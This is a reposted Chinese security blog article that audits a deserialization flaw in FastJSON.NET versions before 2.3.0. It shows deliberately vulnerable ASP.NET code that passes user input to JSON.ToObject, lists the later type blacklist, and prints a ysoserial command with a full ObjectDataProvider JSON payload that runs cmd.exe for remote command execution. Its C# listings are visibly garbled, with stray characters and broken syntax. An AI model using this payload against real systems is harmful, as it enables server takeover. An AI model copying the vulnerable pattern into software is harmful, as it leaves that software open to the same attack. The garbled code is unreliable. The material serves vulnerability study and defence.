【代码审计】Fastjson_net反序列化

admin 2026-02-06 01:58:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档分析了FastJSON.NET库在2.3.0版本前的反序列化漏洞,主要利用JSON.ToObject方法结合ObjectDataProvider链实现远程命令执行。文章详细介绍了漏洞触发点、利用链构造方式以及新版本通过BlackListType机制增加的黑名单防护策略。作者还提供了环境搭建的具体步骤和ysoserial生成的恶意Payload示例,旨在帮助开发者理解该漏洞原理并进行防护。 综合评分: 75 文章分类: 代码审计,漏洞分析,漏洞POC


cover_image

【代码审计】Fastjson_net反序列化

原创

weimin weimin

0xSecurity

2026年2月5日 10:39 广东

Fastjson_net反序列化

FastJson.NET 是一个第三方的 JSON 序列化/反序列化库,这是一个用于读写json的.Net 组件,使用内置方法JSON.ToJSON可以快速序列化.Net对象,实现.net中所有类型(对象,基本数据类型等)和json之间的转换。

漏洞触发

. ToObject

利用链

ObjectDataProvider

限制

FastJSON 2.3.0 之前的版本存在反序列化漏洞

导入Fastjson dll

下载指定版本的dll

通常情况下,通过 NuGet 安装 FastJSON 时,它会获取最新的稳定版本。

如其中需要使用特定版本的 FastJSON,可以访问网址

https://www.nuget.org/packages/fastJSON/2.2.4

找到所需版本的 FastJSON,下载对应的 NuGet 包。NuGet 包是 .nupkg 文件。

解压 NuGet 包: 将 .nupkg 文件更改为 .zip 并解压缩。可以在解压后的文件夹中找到 FastJSON的 DLL 文件。

将 DLL 添加到项目: 打开你的项目,将 DLL 文件添加到项目中。在 Visual Studio 中,右键单击项目,选择“添加 $^ { \prime \prime } >$ “现有项目”,然后选择 FastJSON 的 DLL 文件。

设置 DLL 属性: 确保 FastJSON 的 DLL 文件的 “复制到输出目录” 属性设置为 “始终复制”,这样它将在构建时复制到输出目录。

添加引用:在解决方案资源管理器中找到项目,右键单击 “添加”,然后选择 “引用”。在弹出的对话框中,选择 “浏览” 选项,找到并添加DLL 文件。在文件的顶部使用 using 语句导入 DLL 提供的命名空间即可。

序列化与反序列化

前端代码【Fastjson.aspx】

<@ Page Language  $=$  "C###"AutoEventWireup  $\equiv$  "true"CodeBehind  $\equiv$  "Fastjson.aspx.cs" Inherits  $=$  "Fastjson_net.Fastjson"  $\%>$

后端序列化代码【Fastjson.aspx.cs】

usingSystem;
usingSystem.Collections.Generic;
usingSystem.Diagnostics;
usingSystem.Linq;
usingSystem.Web;
usingSystem.Web.UI;
usingSystem.Web.UI.WebControls;
usingfastJSON;
usingNewtonsoftazon"& serialization;
usingSystem.Windows.Data;
namespaceFastjson_net
{&nbsp;/\*publicclassPerson&nbsp;{&nbsp;publicstringname;&nbsp;publicstringage; }*/publicpartialclassFastjson&nbsp;:&nbsp;System.Web.UI.PageprotectedvoidPage_Load(objectsender,&nbsp;EventArgse) {&nbsp;protectedvoidButton_Key_Click(objectsender,&nbsp;EventArgse) {&nbsp;//序列化 /\* Person p = new Person() { name = "test", age = "123" };/* Process start = new Process(); start.StartInfo FileName = "cmd.exe"; start.StartInfo.Argumnts = "/c calc.exe"; ObjectDataProvider odp = new ObjectDataProvider(); odp.ObjectName = "Start"; odp.ObjectInstance = start; JSONParameters odp2 = new JSONParameters(); odp2 藏Add(typeof(IntPtr)); string jsonstr = JSON.ToString(odp); TextArea1.Text = jsonstr; } }
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using fastJSON;
using NewtonsoftJsonpretty;
using System.Windows.Data;
namespace Fastjson_net
{ public partial class Fastjson : System.Web.UI.Page protected void Page_Load(object sender, EventArgs e) { protected void Button_Key_Click(object sender, EventArgs e) { //反序列化 string payload &nbsp;$\equiv$ &nbsp;TextArea.Text; JSON.ToObject(payload); } }

FastJson.NET 在反序列化时对 IntPtr 类型的处理可能会存在问题,因为 IntPtr 是一个平台相关的类型,其值在不同平台上可能不同。因此,FastJson.NET 在处理 IntPtr 类型时可能会引发System.InvalidCastException 异常。

FastJson.NET 不支持直接将 JSON 字符串反序列化为 System.RuntimeType 类型。这是因为System.RuntimeType 是运行时类型,而 FastJson.NET 主要用于 POCO 类型(Plain Old CLRObject)。在 JSON 中,$type 字段指定了要创建的类型,而 FastJson.NET 无法直接创建System.RuntimeType。

一般来说,System.RuntimeType 是在运行时由 .NET 框架创建和管理的,而不是用户代码明确实例化的。

FastJSON版本 > 2.3.0 中增加了BlackListType来检查type值

黑名单内的type类型有

"system.configuration.install.assemblyinstaller",
"system_activities.presentation.workflowdesigner",
"system.windows.resourcedictionary",
"system.windows.data(objectdataprovider",
"system.windows/forms/bindingsource",
"mozilla.exchange.management.systemmanager.winforms.exchangesettingsprovider"

这时用黑名单内的攻击链就会触发规则

远程命令执行利用

ysoserial.exe -g ObjectDataProvider -f fastjson -c calc
{
&nbsp; &nbsp;&nbsp;"$types": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0,&nbsp;Culture=neutral,&nbsp;PublicKeyToken=31bf3856ad364e35":"1",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089":"2",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0,
Culture=neutral,&nbsp;PublicKeyToken=b77a5c561934e089":"5"
&nbsp; &nbsp; },
&nbsp; &nbsp;&nbsp;"$type":"1",
&nbsp; &nbsp;&nbsp;"ObjectInstance": {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"$type":"2",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"StartInfo": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"$type":"5",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Arguments":"/c calc.exe",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"FileName":"cmd.exe",
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; },
&nbsp; &nbsp;&nbsp;"MethodName":"Start",
}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity weimin weimin《【代码审计】Fastjson_net反序列化》

评论:0   参与:  0